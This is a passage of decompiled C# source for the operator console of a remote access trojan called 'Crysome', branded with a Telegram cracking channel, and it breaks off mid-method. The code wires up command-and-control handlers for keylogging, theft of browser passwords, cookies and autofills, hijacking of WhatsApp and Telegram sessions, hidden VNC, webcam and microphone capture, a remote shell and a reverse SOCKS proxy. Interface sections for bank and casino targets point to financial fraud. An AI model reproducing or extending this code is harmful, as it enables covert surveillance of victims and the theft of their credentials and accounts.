Files
crysome/Crysome.Server/Crysome.Server.ViewModel/ManageClientsViewModel.cs
T

4266 lines
121 KiB
C#
Raw Normal View History

2026-08-27 11:22:54 -06:00
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.IO;
using System.Linq;
using System.Media;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using Crysome.Server.Data;
using Crysome.Server.Model;
using Crysome.Server.Network;
using Crysome.Server.View;
using Microsoft.Win32;
namespace Crysome.Server.ViewModel;
public class ManageClientsViewModel : ViewModelBase
{
private class RdpQualityState
{
public int Level = 6;
public int CurrentQuality = 80;
public int GoodStreak;
public int BadStreak;
public DateTime LastFrameTime = DateTime.MinValue;
public int IntervalMs = 33;
}
private sealed class ReverseProxyState
{
public TcpListener Listener;
public int NextConnectionId;
public ConcurrentDictionary<int, TcpClient> Connections = new ConcurrentDictionary<int, TcpClient>();
public volatile bool Running;
public CrysomeClient Owner;
}
private readonly MainViewModel _mainViewModel;
private CrysomeServer server;
private readonly AppDataStore store = new AppDataStore();
private readonly DispatcherTimer infoTimer;
private readonly ConcurrentDictionary<uint, FtSender> _activeSenders = new ConcurrentDictionary<uint, FtSender>();
private readonly DispatcherTimer _uiThrottleTimer;
private bool _pendingUpdates;
private readonly object _clientLock = new object();
private int infoRobin;
private string _lastCmd = "";
private string _lastFilePath = "";
private long _nextExplorerOpId;
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<ReadFileResponsePacket>> _pendingReadFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<ReadFileResponsePacket>>();
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<WriteFileResponsePacket>> _pendingWriteFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<WriteFileResponsePacket>>();
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDirectoryResponsePacket>> _pendingGetDirectoryResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDirectoryResponsePacket>>();
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDrivesResponsePacket>> _pendingGetDrivesResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDrivesResponsePacket>>();
private readonly ConcurrentDictionary<CrysomeClient, FileExplorerViewModel> _activeFileExplorers = new ConcurrentDictionary<CrysomeClient, FileExplorerViewModel>();
private readonly HashSet<string> _logCategoryHide = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "MIC", "CAM" };
private ICollectionView _logEntriesView;
private ClientInfo _selectedClient;
private List<ClientInfo> _selectedClients = new List<ClientInfo>();
private string _serverStatus = "Stopped • t.me/CuriousCracks";
private int _clientCount;
private string _statusMessage = "";
private List<ClientInfo> allClients = new List<ClientInfo>();
private int _proxyStartCount;
private readonly List<(string Address, string Port)> _proxyResultsForModal = new List<(string, string)>();
private DispatcherTimer _proxyModalTimer;
private readonly Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>> _processListCallbacks = new Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>>();
private readonly Dictionary<CrysomeClient, Action<string>> _shellOutputCallbacks = new Dictionary<CrysomeClient, Action<string>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioDataCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _cameraFrameCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _desktopFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _hvncFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, ReverseProxyState> _reverseProxyState = new Dictionary<CrysomeClient, ReverseProxyState>();
private readonly Dictionary<CrysomeClient, Action<string>> _keyloggerCallbacks = new Dictionary<CrysomeClient, Action<string>>();
private readonly Dictionary<CrysomeClient, Action<string, string>> _chatHandlers = new Dictionary<CrysomeClient, Action<string, string>>();
private readonly Dictionary<CrysomeClient, Action<string[]>> _cameraDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();
private readonly Dictionary<CrysomeClient, Action<string[]>> _audioDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioStreamHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<ScreensResponsePacket>> _screensCallbacks = new Dictionary<CrysomeClient, Action<ScreensResponsePacket>>();
private readonly Dictionary<CrysomeClient, Action<int>> _rdpQualityCallbacks = new Dictionary<CrysomeClient, Action<int>>();
private readonly Dictionary<CrysomeClient, RdpQualityState> _rdpQualityStates = new Dictionary<CrysomeClient, RdpQualityState>();
private static readonly (int Quality, int IntervalMs)[] _rdpLevels = new(int, int)[7]
{
(30, 100),
(40, 66),
(50, 50),
(60, 40),
(70, 33),
(80, 25),
(85, 16)
};
private bool _isRefreshingClientList;
private string _filterCountry = "All";
private string _filterOS = "All";
private string _filterGroup = "All";
private string _filterPing = "All";
private int _uniqueCountriesCount;
private int _averagePing;
private int _activeWindowsCount;
private int _activeHvncCount;
private int _activeRdpCount;
private bool _appsExpanded;
private bool _bankExpanded;
private bool _casinoExpanded;
private string _newBlocklistIP = "";
private string _blocklistSelectedIP;
private readonly ConcurrentDictionary<CrysomeClient, Action<string, bool>> _offlineKeylogCallbacks = new ConcurrentDictionary<CrysomeClient, Action<string, bool>>();
public ObservableCollection<ClientInfo> Clients { get; set; }
public ObservableCollection<LogLineEntry> LogEntries { get; set; }
public string LogCategoryFilter
{
get
{
return string.Join(",", _logCategoryHide);
}
set
{
_logCategoryHide.Clear();
if (!string.IsNullOrWhiteSpace(value))
{
string[] array = value.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
foreach (string text in array)
{
_logCategoryHide.Add(text.Trim());
}
}
OnPropertyChanged("LogCategoryFilter");
try
{
ICollectionView logEntriesView = LogEntriesView;
if (logEntriesView != null)
{
logEntriesView.Refresh();
}
}
catch
{
}
}
}
public ICollectionView LogEntriesView
{
get
{
return _logEntriesView;
}
private set
{
_logEntriesView = value;
OnPropertyChanged("LogEntriesView");
}
}
public ClientInfo SelectedClient
{
get
{
return _selectedClient;
}
set
{
_selectedClient = value;
OnPropertyChanged("SelectedClient");
OnPropertyChanged("IsItemSelected");
}
}
public bool IsItemSelected => SelectedClient != null;
public List<ClientInfo> SelectedClients => _selectedClients;
public string ServerStatus
{
get
{
return _serverStatus;
}
set
{
_serverStatus = value;
OnPropertyChanged("ServerStatus");
}
}
public int ClientCount
{
get
{
return _clientCount;
}
set
{
_clientCount = value;
OnPropertyChanged("ClientCount");
}
}
public string StatusMessage
{
get
{
return _statusMessage;
}
set
{
_statusMessage = value ?? "";
OnPropertyChanged("StatusMessage");
}
}
public ICommand SendCommandCmd { get; }
public ICommand SendCommandAllCmd { get; }
public ICommand SendFileCmd { get; }
public ICommand SendFileAllCmd { get; }
public ICommand DirectLinkCmd { get; }
public ICommand DirectLinkAllCmd { get; }
public ICommand CopySummaryCmd { get; }
public ICommand PinToTopCmd { get; }
public ICommand ExportSelectionCmd { get; }
public ICommand Mute30Cmd { get; }
public ICommand QuickHealthCmd { get; }
public ICommand RepeatLastCmdCmd { get; }
public ICommand RepeatLastFileCmd { get; }
public ICommand AnnounceToggleCmd { get; }
public ICommand EditNoteCmd { get; }
public ICommand RestartClientCmd { get; }
public ICommand OpenFileManagerCmd { get; }
public ICommand OpenBuilderCmd { get; }
public ICommand OpenSettingsCmd { get; }
public ICommand CloseAppCmd { get; }
public ICommand OpenPluginsCmd { get; }
public ICommand Socks5ProxyCmd { get; }
public ICommand TakeScreenshotCmd { get; }
public ICommand ProcessManagerCmd { get; }
public ICommand RemoteShellCmd { get; }
public ICommand RemoteAudioCmd { get; }
public ICommand RemoteCameraCmd { get; }
public ICommand RemoteDesktopCmd { get; }
public ICommand HvncCmd { get; }
public ICommand KeyloggerCmd { get; }
public ICommand RemoteChatCmd { get; }
public ICommand CredentialsPasswordsCmd { get; }
public ICommand CredentialsCookiesCmd { get; }
public ICommand CredentialsBothCmd { get; }
public ICommand CredentialsAutofillsCmd { get; }
public ICommand CredentialsAllCmd { get; }
public ICommand WhatsAppSessionCmd { get; }
public ICommand TelegramSessionCmd { get; }
public ICommand ToggleAppsExpandCmd { get; }
public ICommand ToggleBankExpandCmd { get; }
public ICommand ToggleCasinoExpandCmd { get; }
public ICommand StartServerCmd { get; }
public ICommand StopServerCmd { get; }
public ICommand ExportLogCmd { get; }
public ICommand AddBlocklistCmd { get; }
public ICommand RemoveBlocklistCmd { get; }
public ICommand BlockSelectedClientCmd { get; }
public ICommand ClearFiltersCmd { get; }
public bool IsSendCommandEnabled => store.IsContextMenuFeatureEnabled("SendCommand");
public bool IsSendCommandAllEnabled => store.IsContextMenuFeatureEnabled("SendCommandAll");
public bool IsSendFileEnabled => store.IsContextMenuFeatureEnabled("SendFile");
public bool IsSendFileAllEnabled => store.IsContextMenuFeatureEnabled("SendFileAll");
public bool IsDirectLinkEnabled => store.IsContextMenuFeatureEnabled("DirectLink");
public bool IsDirectLinkAllEnabled => store.IsContextMenuFeatureEnabled("DirectLinkAll");
public bool IsSocks5ProxyEnabled => store.IsContextMenuFeatureEnabled("Socks5Proxy");
public bool IsTakeScreenshotEnabled => store.IsContextMenuFeatureEnabled("TakeScreenshot");
public bool IsFileManagerEnabled => store.IsContextMenuFeatureEnabled("FileManager");
public bool IsRestartEnabled => store.IsContextMenuFeatureEnabled("Restart");
public bool IsCopySummaryEnabled => store.IsContextMenuFeatureEnabled("CopySummary");
public bool IsBlockIPEnabled => store.IsContextMenuFeatureEnabled("BlockIP");
public bool IsPinToTopEnabled => store.IsContextMenuFeatureEnabled("PinToTop");
public bool IsExportEnabled => store.IsContextMenuFeatureEnabled("Export");
public bool IsMute30Enabled => store.IsContextMenuFeatureEnabled("Mute30");
public bool IsNoteEnabled => store.IsContextMenuFeatureEnabled("Note");
public bool IsProcessManagerEnabled => store.IsContextMenuFeatureEnabled("ProcessManager");
public bool IsRemoteShellEnabled => store.IsContextMenuFeatureEnabled("RemoteShell");
public bool IsRemoteAudioEnabled => store.IsContextMenuFeatureEnabled("RemoteAudio");
public bool IsRemoteCameraEnabled => store.IsContextMenuFeatureEnabled("RemoteCamera");
public bool IsRemoteDesktopEnabled => store.IsContextMenuFeatureEnabled("RemoteDesktop");
public bool IsHvncEnabled => store.IsContextMenuFeatureEnabled("HVNC");
public bool IsCredentialsEnabled => store.IsContextMenuFeatureEnabled("Credentials");
public bool IsKeyloggerEnabled => store.IsContextMenuFeatureEnabled("Keylogger");
public bool IsRemoteChatEnabled => store.IsContextMenuFeatureEnabled("RemoteChat");
public string FilterCountry
{
get
{
return _filterCountry;
}
set
{
string text = value ?? "All";
if (!(_filterCountry == text))
{
_filterCountry = text;
OnPropertyChanged("FilterCountry");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public string FilterOS
{
get
{
return _filterOS;
}
set
{
string text = value ?? "All";
if (!(_filterOS == text))
{
_filterOS = text;
OnPropertyChanged("FilterOS");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public string FilterGroup
{
get
{
return _filterGroup;
}
set
{
string text = value ?? "All";
if (!(_filterGroup == text))
{
_filterGroup = text;
OnPropertyChanged("FilterGroup");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public string FilterPing
{
get
{
return _filterPing;
}
set
{
string text = value ?? "All";
if (!(_filterPing == text))
{
_filterPing = text;
OnPropertyChanged("FilterPing");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public ObservableCollection<string> AvailableCountries { get; } = new ObservableCollection<string>();
public ObservableCollection<string> AvailableOSes { get; } = new ObservableCollection<string>();
public ObservableCollection<string> FilterCountryOptions { get; } = new ObservableCollection<string> { "All" };
public ObservableCollection<string> FilterOSOptions { get; } = new ObservableCollection<string> { "All" };
public ObservableCollection<string> FilterGroupOptions { get; } = new ObservableCollection<string> { "All" };
public ObservableCollection<string> FilterPingOptions { get; } = new ObservableCollection<string> { "All", "Good (<100ms)", "Medium (<300ms)", "High (>300ms)" };
public ObservableCollection<string> BlockedIPsList { get; } = new ObservableCollection<string>();
public int UniqueCountriesCount
{
get
{
return _uniqueCountriesCount;
}
private set
{
_uniqueCountriesCount = value;
OnPropertyChanged("UniqueCountriesCount");
}
}
public int AveragePing
{
get
{
return _averagePing;
}
private set
{
_averagePing = value;
OnPropertyChanged("AveragePing");
}
}
public int ActiveWindowsCount
{
get
{
return _activeWindowsCount;
}
private set
{
_activeWindowsCount = value;
OnPropertyChanged("ActiveWindowsCount");
}
}
public int ActiveHvncCount
{
get
{
return _activeHvncCount;
}
set
{
_activeHvncCount = value;
OnPropertyChanged("ActiveHvncCount");
}
}
public int ActiveRdpCount
{
get
{
return _activeRdpCount;
}
set
{
_activeRdpCount = value;
OnPropertyChanged("ActiveRdpCount");
}
}
public bool AppsExpanded
{
get
{
return _appsExpanded;
}
set
{
_appsExpanded = value;
OnPropertyChanged("AppsExpanded");
OnPropertyChanged("AppsToggleText");
}
}
public string AppsToggleText
{
get
{
if (!_appsExpanded)
{
return "▼";
}
return "▲";
}
}
public bool BankExpanded
{
get
{
return _bankExpanded;
}
set
{
_bankExpanded = value;
OnPropertyChanged("BankExpanded");
OnPropertyChanged("BankToggleText");
}
}
public string BankToggleText
{
get
{
if (!_bankExpanded)
{
return "▼";
}
return "▲";
}
}
public bool CasinoExpanded
{
get
{
return _casinoExpanded;
}
set
{
_casinoExpanded = value;
OnPropertyChanged("CasinoExpanded");
OnPropertyChanged("CasinoToggleText");
}
}
public string CasinoToggleText
{
get
{
if (!_casinoExpanded)
{
return "▼";
}
return "▲";
}
}
public string NewBlocklistIP
{
get
{
return _newBlocklistIP;
}
set
{
_newBlocklistIP = value ?? "";
OnPropertyChanged("NewBlocklistIP");
}
}
public string BlocklistSelectedIP
{
get
{
return _blocklistSelectedIP;
}
set
{
_blocklistSelectedIP = value;
OnPropertyChanged("BlocklistSelectedIP");
}
}
public AppDataStore Store => store;
public CrysomeServer Server => server;
public long NextExplorerOpId()
{
return Interlocked.Increment(ref _nextExplorerOpId);
}
public void RegisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
{
if (owner != null)
{
_activeFileExplorers[owner] = vm;
}
}
public void UnregisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
{
if (owner != null)
{
_activeFileExplorers.TryRemove(owner, out var _);
}
}
public void RegisterReadFileCallback(CrysomeClient client, long transferId, Action<ReadFileResponsePacket> cb)
{
_pendingReadFileResponses[(client, transferId)] = cb;
}
public void RegisterWriteFileCallback(CrysomeClient client, long transferId, Action<WriteFileResponsePacket> cb)
{
_pendingWriteFileResponses[(client, transferId)] = cb;
}
public void RegisterGetDirectoryCallback(CrysomeClient client, long requestId, Action<GetDirectoryResponsePacket> cb)
{
if (requestId != 0L)
{
_pendingGetDirectoryResponses[(client, requestId)] = cb;
}
}
public void RegisterGetDrivesCallback(CrysomeClient client, long requestId, Action<GetDrivesResponsePacket> cb)
{
if (requestId != 0L)
{
_pendingGetDrivesResponses[(client, requestId)] = cb;
}
}
public void SyncSelectedClients(List<ClientInfo> items)
{
_selectedClients = items ?? new List<ClientInfo>();
OnPropertyChanged("SelectedClients");
}
public void EnqueueStatus(string msg)
{
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
//IL_001a: Unknown result type (might be due to invalid IL or missing references)
//IL_002c: Expected O, but got Unknown
StatusMessage = msg;
DispatcherTimer t = new DispatcherTimer
{
Interval = TimeSpan.FromSeconds(3L)
};
t.Tick += delegate
{
StatusMessage = "";
t.Stop();
};
t.Start();
}
public void NotifyContextMenuFeaturesChanged()
{
OnPropertyChanged("IsSendCommandEnabled");
OnPropertyChanged("IsSendCommandAllEnabled");
OnPropertyChanged("IsSendFileEnabled");
OnPropertyChanged("IsSendFileAllEnabled");
OnPropertyChanged("IsDirectLinkEnabled");
OnPropertyChanged("IsDirectLinkAllEnabled");
OnPropertyChanged("IsSocks5ProxyEnabled");
OnPropertyChanged("IsTakeScreenshotEnabled");
OnPropertyChanged("IsFileManagerEnabled");
OnPropertyChanged("IsRestartEnabled");
OnPropertyChanged("IsCopySummaryEnabled");
OnPropertyChanged("IsBlockIPEnabled");
OnPropertyChanged("IsPinToTopEnabled");
OnPropertyChanged("IsExportEnabled");
OnPropertyChanged("IsMute30Enabled");
OnPropertyChanged("IsNoteEnabled");
OnPropertyChanged("IsProcessManagerEnabled");
OnPropertyChanged("IsRemoteShellEnabled");
OnPropertyChanged("IsRemoteAudioEnabled");
OnPropertyChanged("IsRemoteCameraEnabled");
OnPropertyChanged("IsRemoteDesktopEnabled");
OnPropertyChanged("IsHvncEnabled");
OnPropertyChanged("IsCredentialsEnabled");
OnPropertyChanged("IsKeyloggerEnabled");
OnPropertyChanged("IsRemoteChatEnabled");
}
public ManageClientsViewModel(MainViewModel mainViewModel)
{
//IL_0779: Unknown result type (might be due to invalid IL or missing references)
//IL_077e: Unknown result type (might be due to invalid IL or missing references)
//IL_07a1: Expected O, but got Unknown
//IL_07b9: Unknown result type (might be due to invalid IL or missing references)
//IL_07be: Unknown result type (might be due to invalid IL or missing references)
//IL_07d6: Expected O, but got Unknown
_mainViewModel = mainViewModel;
Clients = new ObservableCollection<ClientInfo>();
LogEntries = new ObservableCollection<LogLineEntry>();
CollectionViewSource collectionViewSource = new CollectionViewSource
{
Source = LogEntries
};
collectionViewSource.Filter += LogEntries_Filter;
LogEntriesView = collectionViewSource.View;
SendCommandCmd = new RelayCommand<object>(delegate
{
DoSendCommand(all: false);
});
SendCommandAllCmd = new RelayCommand<object>(delegate
{
DoSendCommand(all: true);
});
SendFileCmd = new RelayCommand<object>(delegate
{
DoSendFile(all: false);
});
SendFileAllCmd = new RelayCommand<object>(delegate
{
DoSendFile(all: true);
});
DirectLinkCmd = new RelayCommand<object>(delegate
{
DoDirectLink(all: false);
});
DirectLinkAllCmd = new RelayCommand<object>(delegate
{
DoDirectLink(all: true);
});
CopySummaryCmd = new RelayCommand<object>(delegate
{
DoCopySummary();
});
PinToTopCmd = new RelayCommand<object>(delegate
{
DoPinToTop();
});
ExportSelectionCmd = new RelayCommand<object>(delegate
{
DoExportSelection();
});
Mute30Cmd = new RelayCommand<object>(delegate
{
DoMute30();
});
QuickHealthCmd = new RelayCommand<object>(delegate
{
DoQuickHealth();
});
RepeatLastCmdCmd = new RelayCommand<object>(delegate
{
DoRepeatLastCmd();
});
RepeatLastFileCmd = new RelayCommand<object>(delegate
{
DoRepeatLastFile();
});
AnnounceToggleCmd = new RelayCommand<object>(delegate
{
DoAnnounceToggle();
});
EditNoteCmd = new RelayCommand<object>(delegate
{
DoEditNote();
});
RestartClientCmd = new RelayCommand<object>(delegate
{
DoRestart();
});
OpenFileManagerCmd = new RelayCommand<object>(delegate
{
DoOpenFileManager();
});
OpenBuilderCmd = new RelayCommand<object>(delegate
{
_mainViewModel.GoToBuilder();
});
OpenSettingsCmd = new RelayCommand<object>(delegate
{
_mainViewModel.GoToSettings();
});
CloseAppCmd = new RelayCommand<object>(delegate
{
Application.Current.Shutdown();
});
OpenPluginsCmd = new RelayCommand<object>(delegate
{
_mainViewModel.GoToPlugins();
});
Socks5ProxyCmd = new RelayCommand<object>(delegate
{
DoSocks5Proxy();
});
TakeScreenshotCmd = new RelayCommand<object>(delegate
{
DoTakeScreenshot();
});
ProcessManagerCmd = new RelayCommand<object>(delegate
{
DoProcessManager();
});
RemoteShellCmd = new RelayCommand<object>(delegate
{
DoRemoteShell();
});
RemoteAudioCmd = new RelayCommand<object>(delegate
{
DoRemoteAudio();
});
RemoteCameraCmd = new RelayCommand<object>(delegate
{
DoRemoteCamera();
});
RemoteDesktopCmd = new RelayCommand<object>(delegate
{
DoRemoteDesktop();
});
HvncCmd = new RelayCommand<object>(delegate
{
DoHvnc();
});
KeyloggerCmd = new RelayCommand<object>(delegate
{
DoKeylogger();
});
RemoteChatCmd = new RelayCommand<object>(delegate
{
DoRemoteChat();
});
CredentialsPasswordsCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(0);
});
CredentialsCookiesCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(1);
});
CredentialsBothCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(2);
});
CredentialsAutofillsCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(3);
});
CredentialsAllCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(4);
});
WhatsAppSessionCmd = new RelayCommand<object>(delegate
{
DoWhatsAppSession();
});
TelegramSessionCmd = new RelayCommand<object>(delegate
{
DoTelegramSession();
});
ToggleAppsExpandCmd = new RelayCommand<object>(delegate
{
AppsExpanded = !AppsExpanded;
});
ToggleBankExpandCmd = new RelayCommand<object>(delegate
{
BankExpanded = !BankExpanded;
});
ToggleCasinoExpandCmd = new RelayCommand<object>(delegate
{
CasinoExpanded = !CasinoExpanded;
});
StartServerCmd = new RelayCommand<object>(delegate
{
DoStartServer();
});
StopServerCmd = new RelayCommand<object>(delegate
{
DoStopServer();
});
ExportLogCmd = new RelayCommand<object>(delegate
{
DoExportLog();
});
AddBlocklistCmd = new RelayCommand<object>(delegate
{
DoAddBlocklist();
});
RemoveBlocklistCmd = new RelayCommand<object>(delegate
{
DoRemoveBlocklist();
});
BlockSelectedClientCmd = new RelayCommand<object>(delegate
{
DoBlockSelectedClient();
});
ClearFiltersCmd = new RelayCommand<object>(delegate
{
FilterCountry = "All";
FilterOS = "All";
FilterGroup = "All";
FilterPing = "All";
});
store.Load();
BlockedIPsList.Clear();
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
{
BlockedIPsList.Add(item);
}
infoTimer = new DispatcherTimer
{
Interval = TimeSpan.FromMilliseconds(store.Settings.InfoPollInterval, 0L)
};
infoTimer.Tick += InfoTimer_Tick;
_uiThrottleTimer = new DispatcherTimer
{
Interval = TimeSpan.FromMilliseconds(500L, 0L)
};
_uiThrottleTimer.Tick += ProcessClientUpdates;
_uiThrottleTimer.Start();
DoStartServer();
}
private void DoStartServer()
{
try
{
if (server != null)
{
server.Stop();
}
server = new CrysomeServer
{
Port = store.Settings.Port,
QuicPort = store.Settings.QuicPort,
Store = store
};
server.ClientConnected += Server_ClientConnected;
server.ClientDisconnected += Server_ClientDisconnected;
server.PacketChannel.RegisterHandler<GetSystemInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleSystemInfo(s, pk);
});
server.PacketChannel.RegisterHandler<ClientInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleClientInfo(s, pk);
});
server.PacketChannel.RegisterHandler<PingResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandlePingResponse(s, pk);
});
server.PacketChannel.RegisterHandler<RunCommandResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCommandResponse(s, pk);
});
server.PacketChannel.RegisterHandler<FileTransferResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleFileResponse(s, pk);
});
server.PacketChannel.RegisterHandler<FtSackPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleFtSack(s, pk);
});
server.PacketChannel.RegisterHandler<FtDonePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleFtDone(s, pk);
});
server.PacketChannel.RegisterHandler<DirectLinkResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleDirectLinkResponse(s, pk);
});
server.PacketChannel.RegisterHandler<ProxyStatusResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleProxyStatus(s, pk);
});
server.PacketChannel.RegisterHandler<TakeScreenshotResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleScreenshotResponse(s, pk);
});
server.PacketChannel.RegisterHandler<CredentialsResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCredentialsResponse(s, pk);
});
server.PacketChannel.RegisterHandler<GetProcessListResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleProcessListResponse(s, pk);
});
server.PacketChannel.RegisterHandler<AudioDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleAudioData(s, pk);
});
server.PacketChannel.RegisterHandler<CameraFramePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCameraFrame(s, pk);
});
server.PacketChannel.RegisterHandler<DesktopFramePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleDesktopFrame(s, pk);
});
server.PacketChannel.RegisterHandler<HvncFramePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleHvncFrame(s, pk);
});
server.PacketChannel.RegisterHandler<ReverseProxyDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleReverseProxyData(s, pk);
});
server.PacketChannel.RegisterHandler<ReverseProxyEndPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleReverseProxyEnd(s, pk);
});
server.PacketChannel.RegisterHandler<KeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleKeylogData(s, pk);
});
server.PacketChannel.RegisterHandler<OfflineKeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleOfflineKeylogData(s, pk);
});
server.PacketChannel.RegisterHandler<ChatMessagePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleChatMessage(s, pk);
});
server.PacketChannel.RegisterHandler<CameraDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCameraDevicesResponse(s, pk);
});
server.PacketChannel.RegisterHandler<AudioDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleAudioDevicesResponse(s, pk);
});
server.PacketChannel.RegisterHandler<AudioStreamChunkPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleAudioStreamChunk(s, pk);
});
server.PacketChannel.RegisterHandler<ScreensResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleScreensResponse(s, pk);
});
server.PacketChannel.RegisterHandler<ReadFileResponsePacket>(RouteReadFileResponse);
server.PacketChannel.RegisterHandler<WriteFileResponsePacket>(RouteWriteFileResponse);
server.PacketChannel.RegisterHandler<GetDirectoryResponsePacket>(RouteGetDirectoryResponse);
server.PacketChannel.RegisterHandler<GetDrivesResponsePacket>(RouteGetDrivesResponse);
server.PacketChannel.RegisterHandler<NotifyStatusResponsePacket>(RouteNotifyStatus);
server.PacketChannel.RegisterHandler<ClientInventoryReportPacket>(HandleClientInventoryReport);
server.PacketChannel.RegisterHandler<WhatsAppSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleWhatsAppSessionResponse(s, pk);
});
server.PacketChannel.RegisterHandler<TelegramSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleTelegramSessionResponse(s, pk);
});
server.UdpFrameReceived += Server_UdpFrameReceived;
server.Start();
infoTimer.Start();
StringBuilder stringBuilder = new StringBuilder();
if (store.Settings.Port > 0)
{
stringBuilder.Append("RUDP ").Append(store.Settings.Port).Append(" (Builder / .NET Framework)");
}
if (store.Settings.QuicPort > 0)
{
if (stringBuilder.Length > 0)
{
stringBuilder.Append(", ");
}
stringBuilder.Append("QUIC ").Append(store.Settings.QuicPort);
}
string text = stringBuilder.ToString();
ServerStatus = "Listening — " + text + " • t.me/CuriousCracks";
Log("Server started — " + text, "SYS");
FlagCache.Get("US");
}
catch (Exception ex)
{
ServerStatus = "FAILED";
Log("Server start failed: " + ex.Message, "SYS");
EnqueueStatus("Server start failed: " + ex.Message);
}
}
private void DoStopServer()
{
try
{
infoTimer.Stop();
server?.Stop();
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
allClients.Clear();
Clients.Clear();
UpdateFilterOptions();
});
ServerStatus = "Stopped";
ClientCount = 0;
Log("Server stopped", "SYS");
}
catch (Exception ex)
{
Log("Stop error: " + ex.Message, "SYS");
}
}
private void Server_ClientConnected(object sender, ClientEventArgs e)
{
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
string addr = e.Client.RemoteAddress?.Address?.ToString() ?? "?";
if (store.BlockedIPs.Contains(addr))
{
Log("Blocked: " + addr, "SYS");
try
{
server?.DisconnectClient(e.Client);
return;
}
catch
{
return;
}
}
if (!allClients.Any((ClientInfo c) => c.Owner == e.Client))
{
int port = e.Client.RemoteAddress?.Port ?? 0;
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
if (clientInfo != null)
{
clientInfo.Owner = e.Client;
}
else
{
ClientInfo clientInfo2 = new ClientInfo
{
Owner = e.Client,
SessionId = Guid.NewGuid().ToString("N"),
Address = (e.Client.RemoteAddress?.Address?.ToString() ?? "?"),
Port = (e.Client.RemoteAddress?.Port ?? 0),
ConnectTime = DateTime.Now
};
string address = clientInfo2.Address;
if (store.Notes.ContainsKey(address))
{
clientInfo2.Notes = store.Notes[address];
}
if (store.PinnedIPs.Contains(address))
{
clientInfo2.IsPinned = true;
}
if (store.AnnounceIPs.Contains(address))
{
clientInfo2.IsAnnounce = true;
}
if (store.MutedIPs.ContainsKey(address) && store.MutedIPs[address] > DateTime.Now)
{
clientInfo2.IsMuted = true;
